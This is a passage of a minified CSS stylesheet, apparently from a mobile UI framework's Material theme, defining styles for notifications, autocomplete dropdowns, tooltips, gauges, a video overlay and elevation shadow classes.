.toolbar{background-color:rgba(255,255,255,.95)}.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(0,0,0,.95)}.md.device-iphone-x .photo-browser-captions{bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.md.device-iphone-x .toolbar~.photo-browser-captions{bottom:calc(48px + constant(safe-area-inset-bottom));bottom:calc(48px + env(safe-area-inset-bottom))}.notification{position:absolute;left:0;top:0;width:100%;z-index:20000;font-size:14px;margin:0;border:none;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;direction:ltr}.notification-icon{font-size:0}.notification-header{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.notification-close-button{margin-left:auto;cursor:pointer}html.with-statusbar.device-ios .notification,html.with-statusbar.ios:not(.device-ios):not(.device-android) .notification{margin-top:20px}html.with-statusbar.device-android .notification,html.with-statusbar.md:not(.device-ios):not(.device-android) .notification{margin-top:24px}html.with-statusbar.device-iphone-x .notification{margin-top:constant(safe-area-inset-top);margin-top:env(safe-area-inset-top)}.md .notification{left:0;top:0;width:100%;background:#fff;border-radius:0;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.22),0 1px 2px rgba(0,0,0,.24);box-shadow:0 2px 4px rgba(0,0,0,.22),0 1px 2px rgba(0,0,0,.24);padding:16px;color:#000;max-width:568px}@media (min-width:568px){.md .notification{left:50%;margin-left:-284px}}.md .notification.modal-in{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:notification-md-in .4s ease-out;animation:notification-md-in .4s ease-out}.md .notification.modal-in.notification-transitioning{-webkit-transition-duration:.2s;transition-duration:.2s}.md .notification.modal-out{-webkit-animation:none;animation:none;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;-webkit-transform:translate3d(0,-150%,0);transform:translate3d(0,-150%,0)}.md .notification-icon{width:16px;height:16px;margin-right:8px;line-height:16px}.md .notification-icon i{width:16px;height:16px;font-size:16px}.md .notification-title{font-size:12px;line-height:1;color:#2196f3}.md .notification-subtitle{font-size:14px;line-height:1.35;color:#212121}.md .notification-subtitle+.notification-text{margin-top:2px}.md .notification-text{font-size:14px;line-height:1.35;color:#757575}.md .notification-header+.notification-content{margin-top:6px}.md .notification-title-right-text{font-size:12px;color:#757575;margin-left:4px}.md .notification-title-right-text:before{content:'';width:3px;height:3px;border-radius:50%;display:inline-block;vertical-align:middle;margin-right:4px;background:#757575}.md .notification-close-button{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");width:16px;height:16px;background-position:center top;background-repeat:no-repeat;background-size:100% auto;position:relative;-webkit-transition-duration:.3s;transition-duration:.3s}.md .notification-close-button:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .notification-close-button.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .notification-close-button:before{width:48px;height:48px;left:50%;top:50%;margin-left:-24px;margin-top:-24px}.md .notification-close-button:after{content:'';position:absolute;left:50%;top:50%;width:48px;height:48px;margin-left:-22px;margin-top:-22px}@-webkit-keyframes notification-md-in{0%{-webkit-transform:translate3d(0,-150%,0);transform:translate3d(0,-150%,0)}50%{-webkit-transform:translate3d(0,10%,0);transform:translate3d(0,10%,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes notification-md-in{0%{-webkit-transform:translate3d(0,-150%,0);transform:translate3d(0,-150%,0)}50%{-webkit-transform:translate3d(0,10%,0);transform:translate3d(0,10%,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.autocomplete-page .autocomplete-found{display:block}.autocomplete-page .autocomplete-not-found{display:none}.autocomplete-page .autocomplete-values{display:block}.autocomplete-page .list ul:empty{display:none}.autocomplete-preloader:not(.autocomplete-preloader-visible){visibility:hidden}.autocomplete-preloader:not(.autocomplete-preloader-visible),.autocomplete-preloader:not(.autocomplete-preloader-visible) *{-webkit-animation:none;animation:none}.autocomplete-dropdown{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;z-index:500;width:100%;left:0}.autocomplete-dropdown .autocomplete-dropdown-inner{position:relative;overflow:auto;-webkit-overflow-scrolling:touch;height:100%;z-index:1}.autocomplete-dropdown .autocomplete-preloader{display:none;position:absolute;bottom:100%;width:20px;height:20px}.autocomplete-dropdown .autocomplete-preloader-visible{display:block}.autocomplete-dropdown .autocomplete-dropdown-placeholder{color:#a9a9a9}.autocomplete-dropdown .list{margin:0}.autocomplete-dropdown .list ul{background:0 0!important}.autocomplete-dropdown .list ul:before{display:none!important}.autocomplete-dropdown .list ul:after{display:none!important}.list .item-content-dropdown-expanded .item-title.item-label{width:0;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;overflow:hidden}.list .item-content-dropdown-expanded .item-title.item-label+.item-input-wrap{margin-left:0}.list .item-content-dropdown-expanded .item-input-wrap{width:100%}.md .autocomplete-page .navbar .autocomplete-preloader{margin-right:16px}.md .autocomplete-dropdown{-webkit-box-shadow:0 2px 2px rgba(0,0,0,.25);box-shadow:0 2px 2px rgba(0,0,0,.25)}.md .autocomplete-dropdown .autocomplete-preloader{right:16px;margin-bottom:8px}.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-gap,.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-half-circle{border-width:3px}.md .autocomplete-dropdown .list{color:rgba(0,0,0,.54)}.md .autocomplete-dropdown .list b{font-weight:400;color:#212121}.md .searchbar-input-wrap .autocomplete-dropdown .item-content{padding-left:73px}.md .searchbar-input-wrap .autocomplete-dropdown li:last-child{border-radius:0 0 8px 8px;position:relative;overflow:hidden}.md .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder{color:#939398}.tooltip{position:absolute;z-index:20000;background:rgba(0,0,0,.87);border-radius:4px;padding:8px 16px;color:#fff;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box;line-height:1.2;opacity:0;-webkit-transform:scale(.9);transform:scale(.9);-webkit-transition-duration:150ms;transition-duration:150ms;-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:opacity,transform;transition-property:opacity,transform,-webkit-transform;z-index:99000;font-weight:500}.tooltip.tooltip-in{-webkit-transform:scale(1);transform:scale(1);opacity:1}.tooltip.tooltip-out{opacity:0;-webkit-transform:scale(1);transform:scale(1)}.device-desktop .tooltip{font-size:12px;padding:6px 8px}.gauge{position:relative;text-align:center;margin-left:auto;margin-right:auto;display:inline-block}.gauge svg,.gauge-svg{max-width:100%;height:auto}.gauge svg circle,.gauge svg path,.gauge-svg circle,.gauge-svg path{-webkit-transition-duration:.4s;transition-duration:.4s}iframe#viAd{z-index:12900!important;background:#000!important}.vi-overlay{background:rgba(0,0,0,.85);z-index:13100;position:absolute;left:0;top:0;width:100%;height:100%;border-radius:3px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}@supports ((-webkit-backdrop-filter:blur(10px)) or (backdrop-filter:blur(10px))){.vi-overlay{background:rgba(0,0,0,.65);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}}.vi-overlay .vi-overlay-text{text-align:center;color:#fff;max-width:80%}.vi-overlay .vi-overlay-text+.vi-overlay-play-button{margin-top:15px}.vi-overlay .vi-overlay-play-button{width:44px;height:44px;border-radius:50%;border:2px solid #fff;position:relative}.vi-overlay .vi-overlay-play-button.active-state{opacity:.55}.vi-overlay .vi-overlay-play-button:before{content:'';width:0;height:0;border-top:8px solid transparent;border-bottom:8px solid transparent;border-left:14px solid #fff;position:absolute;left:50%;top:50%;margin-left:2px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.elevation-0{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.elevation-1{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.elevation-2{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.elevation-3{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.elevation-4{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.elevation-5{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.elevation-6{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.elevation-7{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.elevation-8{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.elevation-9{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.elevation-10{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.elevation-11{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.elevation-12{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.elevation-13{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.elevation-14{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.elevation-15{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.elevation-16{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.elevation-17{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.elevation-18{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.elevation-19{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.elevation-20{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.elevation-21{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.elevation-22{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.elevation-23{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.elevation-24{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-0:hover{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.device-desktop .elevation-hover-1:hover{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-2:hover{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-3:hover{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-4:hover{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-5:hover{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-6:hover{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-7:hover{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-8:hover{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-9:hover{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-10:hover{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-11:hover{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-12:hover{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-13:hover{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-14:hover{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-15:hover{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-16:hover{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-17:hover{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-18:hover{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-19:hover{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-20:hover{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-21:hover{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-22:hover{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-23:hover{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-24:hover{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-0,.device-desktop .active-state.elevation-pressed-0{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.active-state.elevation-pressed-1,.device-desktop .active-state.elevation-pressed-1{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-2,.device-desktop .active-state.elevation-pressed-2{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-3,.device-desktop .active-state.elevation-pressed-3{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-4,.device-desktop .active-state.elevation-pressed-4{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-5,.device-desktop .active-state.elevation-pressed-5{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-6,.device-desktop .active-state.elevation-pressed-6{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-7,.device-desktop .active-state.elevation-pressed-7{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-8,.device-desktop .active-state.elevation-pressed-8{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-9,.device-desktop .active-state.elevation-pressed-9{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px 